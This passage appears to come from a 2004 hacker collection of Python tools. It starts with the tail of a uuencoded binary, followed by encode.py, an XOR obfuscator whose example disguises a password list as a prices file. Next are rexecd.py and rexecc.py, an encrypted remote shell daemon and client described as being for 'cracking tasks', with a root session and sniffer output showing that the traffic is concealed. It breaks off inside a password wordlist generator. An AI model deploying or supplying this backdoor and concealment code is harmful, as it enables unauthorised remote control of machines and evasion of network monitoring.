M;&4``&4!1V5T36]D=6QE1FEL94YA;65!``!"`U5N:&%N9&QE9$5X8V5P=&EO
M;D9I;'1E<@``XP!&<F5E16YV:7)O;FUE;G13=')I;F=S00`_`4=E=$5N=FER
M;VYM96YT4W1R:6YG<P#D`$9R965%;G9I<F]N;65N=%-T<FEN9W-7`&D#5VED
M94-H87)4;TUU;'1I0GET90!!`4=E=$5N=FER;VYM96YT4W1R:6YG<U<``/H"
M4V5T2&%N9&QE0V]U;G0``%`!1V5T1FEL951Y<&4`\P%(96%P1&5S=')O>0#Q
M`4AE87!#<F5A=&4``%@#5FER='5A;$9R964`50-6:7)T=6%L06QL;V,``/D!
M2&5A<%)E06QL;V,`#`-39713=&1(86YD;&4``-L`1FQU<VA&:6QE0G5F9F5R
M<P``D`)296%D1FEL90``^P%(96%P4VEZ90``2@!#<F5A=&5&:6QE00`N`DQO
M861,:6)R87)Y00``ZP!'971!0U```'P!1V5T3T5-0U```/$`1V5T0U!);F9O
M`/$"4V5T1FEL95!O:6YT97(``.@"4V5T16YD3V9&:6QE``!^`E%U97)Y4&5R
M9F]R;6%N8V5#;W5N=&5R`+X!1V5T5&EC:T-O=6YT```R`4=E=$-U<G)E;G14
M:')E861)9```,`%'971#=7)R96YT4')O8V5S<TED`*P!1V5T4WES=&5M5&EM
M94%S1FEL951I;64`(`),0TUA<%-T<FEN9T$``%$"375L=&E">71E5&]7:61E
M0VAA<@`A`DQ#36%P4W1R:6YG5P``GP%'9713=')I;F=4>7!E00``H@%'9713
M=')I;F=4>7!E5P``L0)2=&Q5;G=I;F0`70%'971,;V-A;&5);F9O00``6P-6
M:7)T=6%L4')O=&5C=```J`%'9713>7-T96U);F9O`%T#5FER='5A;%%U97)Y
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````5U!`````````````G!I``*0V0`![14````````````!*
M-T``````````````````````````````````&!1```(````"````6&1```@`
M```L9$``"0````!D0``*````:&-``!`````X8T``$0````AC0``2````Y&)`
M`!,```"X8D``&````(!B0``9````6&)``!H````@8D``&P```.AA0``<````
MP&%``'@```"P84``>0```*!A0`!Z````D&%``/P```",84``_P```'QA0``%
M``#`"P`````````=``#`!`````````"6``#`!`````````"-``#`"```````
M``".``#`"`````````"/``#`"`````````"0``#`"`````````"1``#`"```
M``````"2``#`"`````````"3``#`"``````````#````!P````H```",````
M_____X`*```0``````````$````6`````@````(````#`````@````0````8
M````!0````T````&````"0````<````,````"`````P````)````#`````H`
M```'````"P````@````,````%@````T````6````#P````(````0````#0``
M`!$````2````$@````(````A````#0```#4````"````00````T```!#````
M`@```%`````1````4@````T```!3````#0```%<````6````60````L```!L
M````#0```&T````@````<````!P```!R````"0````8````6````@`````H`
M``"!````"@```((````)````@P```!8```"$````#0```)$````I````G@``
M``T```"A`````@```*0````+````IP````T```"W````$0```,X````"````
MUP````L````8!P``#````,".0```````P(Y```$!```````````````0````
M`````````````````````@````$`````````````````````````````````
M```"`````@``````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M`````````````````````````````````````````````$[F0+L``````0($
M"`````"D`P``8()Y@B$`````````IM\```````"AI0```````(&?X/P`````
M0'Z`_`````"H`P``P:/:HR```````````````````````````````('^````
M````0/X```````"U`P``P:/:HR```````````````````````````````('^
M````````0?X```````"V`P``SZ+DHAH`Y:+HHEL`````````````````````
M`('^````````0'ZA_@````!1!0``4=I>VB``7]IJVC(`````````````````
M`````('3V-[@^0``,7Z!_@`````:9T``(FE```$````@!9,9````````````
M``````````$````N`````0``````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
)````````````
`
end
sum -r/size 9105/36864
 ---< cut here >---

   II. encode.py by best_mowi

 ---< cut here >---
#!/usr/bin/env python
#
#   encode.py v2.0.0 (c) 2004 by best_mowi
#
#   for news, see code..

""" file encoder | decoder """

__program__    =  "encode.py"
__version__    =  "2.0.0"
__copyright__  =  "copyright (c) 2004 best_mowi"
__author__     =  "best_mowi <[email protected]>"
__license__    =  "GPL (GNU GENERAL PUBLIC LICENSE)"

try: import errno
except Exception: print " `errno' module import error!"
try: import sys
except Exception: print "   `sys' module import error!"
try: import math
except Exception: print "  `math' module import error!"
try: import os
except Exception: print "    `os' module import error!"
try: import getopt
except Exception: print "`getopt' module import error!"

key = [
         0x07a69, \
         0x00310, \
         0x0002d, \
         0x00061, \
         0xa5a70, \
         0x000e7, \
         0x0045d, \
         0x01939, \
         0x00af7
      ]

def show(prompt):
    print >> sys.stderr, prompt

def head():
    show("   ,---:")
    show("[*] %s: file encoder|decoder v2.0.0" % (__program__))
    show("[*] coded by %s " % (__author__))
    show("   >---:")

def usage():
    show("Usage: ./%s [options]" % (__program__))
    show("Valid options:")
    show("  -v --version                  print version and exit")
    show("  -h --help                     print usage and exit")
    show("  -m --mode                     choose working mode: \"e\" (encryption) or \"d\" (decryption)")
    show("  -i --input                    choose your input file")
    show("  -o --output                   choose your output file")
    show("Usage example: %s -m e -i passwords.lst -o prices.dat" % (__program__))
    show("               %s -m d -i prices.dat -o passwords.tmp" % (__program__))
    sys.exit(0)

def bin2dec(bin):
    binary_str_1 = ""
    binary_int_1 = 0
    length = len(bin)
    while (length > 0):
        binary_str_1 += bin[length - 1]
        length -= 1
    for loop_1 in xrange(0, len(binary_str_1)):
        binary_int_1 += ((int(binary_str_1[loop_1])) * (int(math.pow(2, loop_1))))
    return binary_int_1

def dec2bin(dec):
    dec = int(dec)
    binary_str_1 = ""
    binary_str_2 = ""
    if ((dec) == 0):
        binary_str_2 = 0
    while ((dec) > 1):
        if (((dec) % 2) == 0):
            binary_str_1 += "0"
        else:
            binary_str_1 += "1"
            dec -= 1
        dec = ((dec) / 2)
    if ((dec) == 1):
        binary_str_1 += "1"
    length = len(binary_str_1)
    while (length > 0):
        binary_str_2 += binary_str_1[length - 1]
        length -= 1
    return binary_str_2

def get4bin(stream):
    global count4ex
    count4ex =  0
    list     = []
    for loop in xrange(0, len(stream)):
        r_len = len(str(dec2bin(ord(stream[loop]))))
        f_len = 9 - (r_len)
        if   ((f_len) == 8):
            list.append("00000000" + str(dec2bin(ord(stream[loop]))))
            count4ex += 1
        elif ((f_len) == 7):
            list.append("0000000"  + str(dec2bin(ord(stream[loop]))))
            count4ex += 1
        elif ((f_len) == 6):
            list.append("000000"   + str(dec2bin(ord(stream[loop]))))
            count4ex += 1
        elif ((f_len) == 5):
            list.append("00000"    + str(dec2bin(ord(stream[loop]))))
            count4ex += 1
        elif ((f_len) == 4):
            list.append("0000"     + str(dec2bin(ord(stream[loop]))))
            count4ex += 1
        elif ((f_len) == 3):
            list.append("000"      + str(dec2bin(ord(stream[loop]))))
            count4ex += 1
        elif ((f_len) == 2):
            list.append("00"       + str(dec2bin(ord(stream[loop]))))
            count4ex += 1
        elif ((f_len) == 1):
            list.append("0"        + str(dec2bin(ord(stream[loop]))))
            count4ex += 1
    return list

def get4xor(target_list):
    xor_list = []
    for loop in xrange(0, len(target_list)):
        mem_list = target_list[loop]
        for loop_2 in xrange(0, 9):
            if   (loop_2 == 0):
                xor_list.append(int(mem_list[loop_2]) ^ key[0])
            elif (loop_2 == 1):
                xor_list.append(int(mem_list[loop_2]) ^ key[1])
            elif (loop_2 == 2):
                xor_list.append(int(mem_list[loop_2]) ^ key[2])
            elif (loop_2 == 3):
                xor_list.append(int(mem_list[loop_2]) ^ key[3])
            elif (loop_2 == 4):
                xor_list.append(int(mem_list[loop_2]) ^ key[4])
            elif (loop_2 == 5):
                xor_list.append(int(mem_list[loop_2]) ^ key[5])
            elif (loop_2 == 6):
                xor_list.append(int(mem_list[loop_2]) ^ key[6])
            elif (loop_2 == 7):
                xor_list.append(int(mem_list[loop_2]) ^ key[7])
            elif (loop_2 == 8):
                xor_list.append(int(mem_list[loop_2]) ^ key[8])
    return xor_list

def unshadow(raw_list):
    global count4ex
    count4ex     =  0
    dec_list_one = []
    dec_list_two = []
    for loop in xrange(0, (len(raw_list) / 9)):
        dec_list_two.append(raw_list[(loop * 9):((loop * 9) + 9)])
        dec_list_one.append(dec_list_two)
        dec_list_two = []
        count4ex += 1
    return dec_list_one

def get4rexor(unshadow_list):
    bin_list = []
    bin_str  = ""
    for loop in xrange(0, len(unshadow_list)):
        mem_unshadow_list = unshadow_list[loop]
        for loop_2 in xrange(0, len(mem_unshadow_list)):
            for loop_3 in xrange(0, 9):
                if   (loop_3 == 0):
                    bin_str += str(int(mem_unshadow_list[loop_2][loop_3]) ^ key[0])
                elif (loop_3 == 1):
                    bin_str += str(int(mem_unshadow_list[loop_2][loop_3]) ^ key[1])
                elif (loop_3 == 2):
                    bin_str += str(int(mem_unshadow_list[loop_2][loop_3]) ^ key[2])
                elif (loop_3 == 3):
                    bin_str += str(int(mem_unshadow_list[loop_2][loop_3]) ^ key[3])
                elif (loop_3 == 4):
                    bin_str += str(int(mem_unshadow_list[loop_2][loop_3]) ^ key[4])
                elif (loop_3 == 5):
                    bin_str += str(int(mem_unshadow_list[loop_2][loop_3]) ^ key[5])
                elif (loop_3 == 6):
                    bin_str += str(int(mem_unshadow_list[loop_2][loop_3]) ^ key[6])
                elif (loop_3 == 7):
                    bin_str += str(int(mem_unshadow_list[loop_2][loop_3]) ^ key[7])
                elif (loop_3 == 8):
                    bin_str += str(int(mem_unshadow_list[loop_2][loop_3]) ^ key[8])
            bin_list.append(bin_str)
            bin_str = ""
    return bin_list

def get4str(enc_bin_list):
    dec_str_data = ""
    for loop in xrange(0, len(enc_bin_list)):
        mem_enc_bin_list = enc_bin_list[loop]
        chrcode = bin2dec(mem_enc_bin_list)
        dec_str_data += chr(chrcode)
    return dec_str_data

def crypt(raw_data):
    return get4xor(get4bin(raw_data))

def decrypt(enc_data):
    return get4str(get4rexor(unshadow(enc_data)))

def encode(file_input, file_output):
    try:
        fi = open(file_input, "rb")
    except IOError:
        show("%s: cannot open target file!" % os.strerror(errno.EIO))
        sys.exit(-1)
    try:
        fo = open(file_output, "w")
    except IOError:
        show("%s: cannot open target file!" % os.strerror(errno.EIO))
        sys.exit(-1)
    head()
    cfi = fi.read()
    fo.write("sorted_prices = " + str(crypt(cfi)))
    fi.close()
    fo.close()
    show("[*]  input file-> %s"       %  (file_input))
    show("[*] output file-> %s"       % (file_output))
    show("[*]     encoded-> %i bytes" %    (count4ex))
    show("   >---:")
    show("[*]  check result..")
    show("   `---:")
    sys.exit(0)

def decode(file_input, file_output):
    unknown = {}
    try:
        fi = open(file_input, "rb")
    except IOError:
        show("%s: cannot open target file!" % os.strerror(errno.EIO))
        sys.exit(-1)
    try:
        fo = open(file_output, "wb")
    except IOError:
        show("%s: cannot open target file!" % os.strerror(errno.EIO))
        sys.exit(-1)
    head()
    execfile(file_input, unknown)
    dec_data = decrypt(unknown['sorted_prices'])
    fo.write(dec_data)
    fi.close()
    fo.close()
    show("[*]  input file-> %s"       %  (file_input))
    show("[*] output file-> %s"       % (file_output))
    show("[*]     decoded-> %i bytes" %    (count4ex))
    show("   >---:")
    show("[*]  check result..")
    show("   `---:")
    sys.exit(0)

def main():
    try:
        _mode   = ""
        _input  = ""
        _output = ""

        (optlist, args) = getopt.getopt(sys.argv[1:], "vhm:i:o:",\
                                        ["version", "help", "mode=", "input=", "output="])
        for option, argument in optlist:
            if ((option) in ("-v", "--version")):
                show("%s version %s" % (__program__, __version__))
                show("%s"            %            (__copyright__))
                return
            elif ((option) in ("-h",   "--help")):
                usage()
                return
            elif ((option) in ("-m",   "--mode")):
                _mode = argument
            elif ((option) in ("-i",  "--input")):
                _input = argument
            elif ((option) in ("-o", "--output")):
               _output = argument
    except getopt.GetoptError:
        show("%s!" % os.strerror(errno.EINVAL))
        sys.exit(-1)
    except KeyboardInterrupt:
        show("%s!" % os.strerror(errno.EINTR))
        sys.exit(-1)
    if ((_mode == "e") and ((len(_input) > 0) and (len(_output) > 0))):
        encode(_input, _output)
    if ((_mode == "d") and ((len(_input) > 0) and (len(_output) > 0))):
        decode(_input, _output)
    if ((len(sys.argv)) == 1):
        usage()
        return
    sys.exit(0)    

if (__name__=="__main__"): main()
 ---< cut here >---

  III. rexecd.py, rexecc.py by best_mowi

  III.I rexecd.py

 ---< cut here >---
#!/usr/bin/env python
#
#                       rexecd.py - server part
#
#           Execute bash/cmd commands remotely for security or
#         cracking tasks (with rotor-based encryption algorithm).
#
#                    Copyright (c) 2004 best_mowi
#
#
#   This program is free software; you can redistribute it and/or modify
#   it under the terms of the GNU General Public License as published by
#   the Free Software Foundation; either version 2 of the License, or
#   (at your option) any later version.
#
#   This program is distributed in the hope that it will be useful,
#   but WITHOUT ANY WARRANTY; without even the implied warranty of
#   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
#   GNU General Public License for more details.
#
#   You should have received a copy of the GNU General Public License
#   along with this program; if not, write to the Free Software
#   Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA

""" REXEC - SERVER PART PROGRAM """

import socket
import warnings
import getopt
import sys
import os
from time import *

warnings.filterwarnings("ignore", \
                         category = DeprecationWarning, \
                         message  = ".*is deprecated", \
                         module   = __name__)

import rotor

__program__     = "rexecd.py"
__version__     = "0.0.1"
__copyright__   = "copyright (c) 2004 best_mowi"
__author__      = "best_mowi <[email protected]>"
__license__     = "GPL (GNU GENERAL PUBLIC LICENSE)"

server_address  = "127.0.0.1"
server_port     =  120
log_file        = "rexecd.log"
buffer_size     =  1024

posix_platform  = "posix"
mswin_platform  = "nt"

private_key     = "private_key"

def show(prompt):
    print >> sys.stderr, prompt

def usage():
    show("Usage: ./%s [options]" % (__program__))
    show("Valid options:")
    show("  -v --version                  print version and exit")
    show("  -h --help                     print usage and exit")
    show("  -a --address                  choose server address [\"127.0.0.1\"]")
    show("  -p --port                     choose bind-port [120]")
    sys.exit(0)

def rotor_crypt(data_stream):
    rotor_obj         = rotor.newrotor(private_key, 12)
    crypt_data_stream = rotor_obj.encrypt(data_stream)
    return crypt_data_stream

def rotor_decrypt(crypt_data_stream):
    rotor_obj         = rotor.newrotor(private_key, 12)
    data_stream       = rotor_obj.decrypt(crypt_data_stream)
    return data_stream

def serv(addr, port):
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.bind((addr, port))
        sock.listen(1)
        while (True):
            conn, address = sock.accept()
            tt = localtime(time())
      td = strftime("%d.%m.%Y. %H:%M:%S", tt)
            fd = open(log_file, "a")
      fd.write("Time-> " + td + "\n")
            fd.write("Connected from-> " + str(address) + "\n")
            request = ""
            while True:
                data = conn.recv(buffer_size)
                if (not data):
              break
          request = request + data
            uncrypt_request = rotor_decrypt(request)
            replay = temp(uncrypt_request)
            crypt_data = rotor_crypt(replay)
            conn.send(crypt_data)
            conn.close()
      fd.write("Sended request-> " + request + "\n")
            fd.write("Disconnected from-> " + str(address) + "\n\n")
      fd.close()

    except socket.error:
  show("Socket error")
  sys.exit(-1)
    except KeyboardInterrupt:
  show("Process halted")
  sys.exit(-1)
    except IOError:
  show("Iinput/output error")
  sys.exit(-1)

def temp(request):
    os.system(request + " >> temp")
    fd = open("temp", "r")
    obj = fd.read()
    fd.close()
    if   (os.name == mswin_platform):
        os.system("erase temp")
    elif (os.name == posix_platform):
        os.system("rm temp")
    return obj

def main():
    try:
  _addr = server_address
        _port = server_port

        (optlist, args) = getopt.getopt(sys.argv[1:], "vha:p:", \
          ["version", "help", "address=", "port="])
        for option, argument in optlist:
            if ((option) in ("-v", "--version")):
                show("%s version %s" % (__program__, __version__))
                show("%s"            %            (__copyright__)) 
                return
            elif ((option) in ("-h", "--help")):
                usage()
                return
            elif ((option) in ("-p", "--port")):
                _port = argument
            elif ((option) in ("-a", "--address")):
                _addr = argument
  serv(_addr, int(_port))
        sys.exit(0)

    except getopt.GetoptError:
        show("Invalid argument")
        sys.exit(-1)
    except ValueError:
        show("Value error")
        sys.exit(-1)
    except TypeError:
  show("Type error: may be invalid arguments")
  sys.exit(-1)

if (__name__ == "__main__"): main()
 ---< cut here >---

  III.II rexecc.py

 ---< cut here >---
#!/usr/bin/env python
#
#                       rexecc.py - client part
#
#           Execute bash/cmd commands remotely for security or
#         cracking tasks (with rotor-based encryption algorithm).
#
#                    Copyright (c) 2004 best_mowi
#
#
#   This program is free software; you can redistribute it and/or modify
#   it under the terms of the GNU General Public License as published by
#   the Free Software Foundation; either version 2 of the License, or
#   (at your option) any later version.
#
#   This program is distributed in the hope that it will be useful,
#   but WITHOUT ANY WARRANTY; without even the implied warranty of
#   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
#   GNU General Public License for more details.
#
#   You should have received a copy of the GNU General Public License
#   along with this program; if not, write to the Free Software
#   Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA

""" REXEC - CLIENT PART PROGRAM """

import errno
import socket
import sys
import os
import string
import warnings

warnings.filterwarnings("ignore", \
                         category = DeprecationWarning, \
                         message  = ".*is deprecated", \
                         module   = __name__)

import rotor

__program__     = "rexecc.py"
__version__     = "0.0.1"
__copyright__   = "copyright (c) 2004 best_mowi"
__author__      = "best_mowi <[email protected]>"
__license__     = "GPL (GNU GENERAL PUBLIC LICENSE)"

server_address  = "127.0.0.1"
server_port     = 120
execute_command = string.join(sys.argv[1:])
buffer_size     = 1024
how_code        = 1

private_key     = "private_key"

def show(prompt):
    print >> sys.stderr, prompt

def usage():
    show("Usage: ./%s [command]" % (__program__))

def rotor_crypt(data_stream):
    rotor_obj         = rotor.newrotor(private_key, 12)
    crypt_data_stream = rotor_obj.encrypt(data_stream)
    return crypt_data_stream

def rotor_decrypt(crypt_data_stream):
    rotor_obj         = rotor.newrotor(private_key, 12)
    data_stream       = rotor_obj.decrypt(crypt_data_stream)
    return data_stream

def main():
   try:
  if (len(sys.argv) == 1):
      usage()
      sys.exit(-1)
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.connect((server_address, server_port))
        print "-> [*] RUN REMOTE CLIENT... <---"
        print "-> [*] CONNECTED TO SERVER! <---"
        print "-> [*] EXECUTING COMMAND... <---\n"
        crypt_execute_command = rotor_crypt(execute_command)
        sock.send(crypt_execute_command)
        sock.shutdown(how_code)
        replay = ""
        while (True):
      data = sock.recv(buffer_size)
      if (not data):
          break
      replay = replay + data
        uncrypt_replay = rotor_decrypt(replay)
        print uncrypt_replay,
        print "\n-> [*] SYSTEM EXIT! <-----------"

   except socket.error:
  show("Socket error")
  sys.exit(-1)
   sys.exit(0)

if (__name__ == "__main__"): main()
 ---< cut here >---

  III.III rexec: usage example

 %$@! on first console:

 root@localhost Rexec# pwd
 /root/Documents/Rexec
 root@localhost Rexec# python rexecd.py

 %$@! on second console:
 
 root@localhost Rexec# pwd
 /home/best_mowi/Documents/Rexec
 root@localhost Rexec# ls -la
 итого 12
 drwxr-xr-x    2 root      root         4096 Окт 25 18:36 ./
 drwxr-xr-x    5 best_mowi best_mowi    4096 Окт 25 18:32 ../
 -rwxrwxrwx    1 root      root         3112 Окт 25 17:59 rexecc.py*
 root@localhost Rexec# python rexecc.py ls -la
 -> [*] RUN REMOTE CLIENT... <---
 -> [*] CONNECTED TO SERVER! <---
 -> [*] EXECUTING COMMAND... <---

 итого 16
 drwxr-xr-x    2 root     root         4096 Окт 25 18:37 .
 drwxr-xr-x    3 root     root         4096 Окт 25 18:36 ..
 -rw-r--r--    1 root     root            0 Окт 25 18:37 rexecd.log
 -rwxrwxrwx    1 root     root         5097 Окт 25 18:27 rexecd.py
 -rw-r--r--    1 root     root            0 Окт 25 18:37 temp

 -> [*] SYSTEM EXIT! <-----------

  III.IV rexec: report from netwox (trafic sniffing results)

  III.IV.I work session of "rexec" without "rotor" trafic encryption

          in >

 ---< skiped >---
TCP_____________________________________________________________________.
|            source port            |         destination port          |
|___________0x8004=32772____________|___________0xDEAD=57005____________|
|                                seqnum                                 |
|_________________________0xE19FF3E6=3785356262_________________________|
|                                acknum                                 |
|_________________________0xE1B8DE92=3786989202_________________________|
|  doff  |reserved CwEcUrAc PsRsSyFi|              window               |
|___8____|0_0_0_0__0_0_0_1__1_0_0_0_|___________0x7FFF=32767____________|
|             checksum              |              urgptr               |
|___________0x278C=10124____________|_____________0x0000=0______________|
._______________________________________________________________________.
|_____0x01=1______|_____0x01=1______|_____0x08=8______|_____0x0A=10_____|
|_____0x00=0______|_____0x00=0______|____0xB8=184_____|_____0x17=23_____|
|_____0x00=0______|_____0x00=0______|____0xB8=184_____|_____0x15=21_____|
6c 73                                                  # ls
 ---< skiped >---

         out >

 ---< skiped >---
TCP_____________________________________________________________________.
|            source port            |         destination port          |
|___________0xDEAD=57005____________|___________0x8004=32772____________|
|                                seqnum                                 |
|_________________________0xE1B8DE92=3786989202_________________________|
|                                acknum                                 |
|_________________________0xE19FF3E9=3785356265_________________________|
|  doff  |reserved CwEcUrAc PsRsSyFi|              window               |
|___8____|0_0_0_0__0_0_0_1__1_0_0_0_|___________0x7FFF=32767____________|
|             checksum              |              urgptr               |
|___________0x2844=10308____________|_____________0x0000=0______________|
._______________________________________________________________________.
|_____0x01=1______|_____0x01=1______|_____0x08=8______|_____0x0A=10_____|
|_____0x00=0______|_____0x00=0______|____0xB8=184_____|_____0x1D=29_____|
|_____0x00=0______|_____0x00=0______|____0xB8=184_____|_____0x18=24_____|
72 65 78 65  63 63 2e 70  79 0a 72 65  78 65 63 64     # rexecc.py.rexecd
2e 6c 6f 67  0a 72 65 78  65 63 64 2e  70 79 0a 74     # .log.rexecd.py.t
65 6d 70 0a                                            # emp.
 ---< skiped >---

  III.IV.I work session of "rexec" with "rotor" trafic encryption

          in >

 ---< skiped >---
TCP_____________________________________________________________________.
|            source port            |         destination port          |
|___________0x800A=32778____________|____________0x0078=120_____________|
|                                seqnum                                 |
|_________________________0xF69B24B1=4137362609_________________________|
|                                acknum                                 |
|_________________________0xF755D428=4149597224_________________________|
|  doff  |reserved CwEcUrAc PsRsSyFi|              window               |
|___8____|0_0_0_0__0_0_0_1__1_0_0_0_|___________0x7FFF=32767____________|
|             checksum              |              urgptr               |
|___________0xA03B=41019____________|_____________0x0000=0______________|
._______________________________________________________________________.
|_____0x01=1______|_____0x01=1______|_____0x08=8______|_____0x0A=10_____|
|_____0x00=0______|_____0x01=1______|___0x3E='>'=62___|___0x3F='?'=63___|
|_____0x00=0______|_____0x01=1______|___0x3E='>'=62___|___0x3D='='=61___|
74 a9                                                  # t.
 ---< skiped >---

         out >

 ---< skiped >---
TCP_____________________________________________________________________.
|            source port            |         destination port          |
|____________0x0078=120_____________|___________0x800A=32778____________|
|                                seqnum                                 |
|_________________________0xF755D428=4149597224_________________________|
|                                acknum                                 |
|_________________________0xF69B24B4=4137362612_________________________|
|  doff  |reserved CwEcUrAc PsRsSyFi|              window               |
|___8____|0_0_0_0__0_0_0_1__1_0_0_0_|___________0x7FFF=32767____________|
|             checksum              |              urgptr               |
|___________0xBCBE=48318____________|_____________0x0000=0______________|
._______________________________________________________________________.
|_____0x01=1______|_____0x01=1______|_____0x08=8______|_____0x0A=10_____|
|_____0x00=0______|_____0x01=1______|___0x3E='>'=62___|___0x45='E'=69___|
|_____0x00=0______|_____0x01=1______|___0x3E='>'=62___|___0x40='@'=64___|
e9 f3 60 4a  fc 31 b9 37  a3 93 76 71  05 6d b9 da     # ..`J.1.7..vq.m..
62 5d 80 1c  22 60 ca 34  04 1f ec 25  c0 bc 77 c3     # b].."`.4...%..w.
62 e9 2e 33  ba 7a 55 e0  8b 8b c3 e3  96 3e           # b..3.zU......>
 ---< skiped >---

   IV. glw.py by best_mowi

 ---< cut here >---
#!/usr/bin/env python
#
#   glw.py - gottaz leetz wordlistazz (c) 2004 by best_mowi
#
#   This program is free software; you can redistribute it and/or modify
#   it under the terms of the GNU General Public License as published by
#   the Free Software Foundation; either version 2 of the License, or
#   (at your option) any later version.
#
#   This program is distributed in the hope that it will be useful,
#   but WITHOUT ANY WARRANTY; without even the implied warranty of
#   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
#   GNU General Public License for more details.
#
#   You should have received a copy of the GNU General Public License
#   along with this program; if not, write to the Free Software
#   Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA

__program__   = "glw.py"
__version__   = "0.0.2"
__copyright__ = "copyright (c) 2004 best_mowi"
__author__    = "best_mowi <[email protected]>"
__license__   = "GPL (GNU GENERAL PUBLIC LICENSE)"

import whrandom
import os
import getopt
import sys

def usage():
    def show(prompt):
        print >> sys.stderr, prompt
    show("Usage: ./%s [options]" % (__program__))
    show("Valid options:")
    show("  -v --version                  print version and exit")
    show("  -h --help                     print usage and exit")
    show("  -l --lenght                   choose word lenght []")
    show("  -q --quantity                 choose passwd. quantity []")
    show("Usage example: ./%s -l 5 -q 12" % (__program__))
    show("               ./%s -l 7 -q 21" % (__program__))
    sys.exit(0)

def base():
    sym00 = ""
    set00 = [
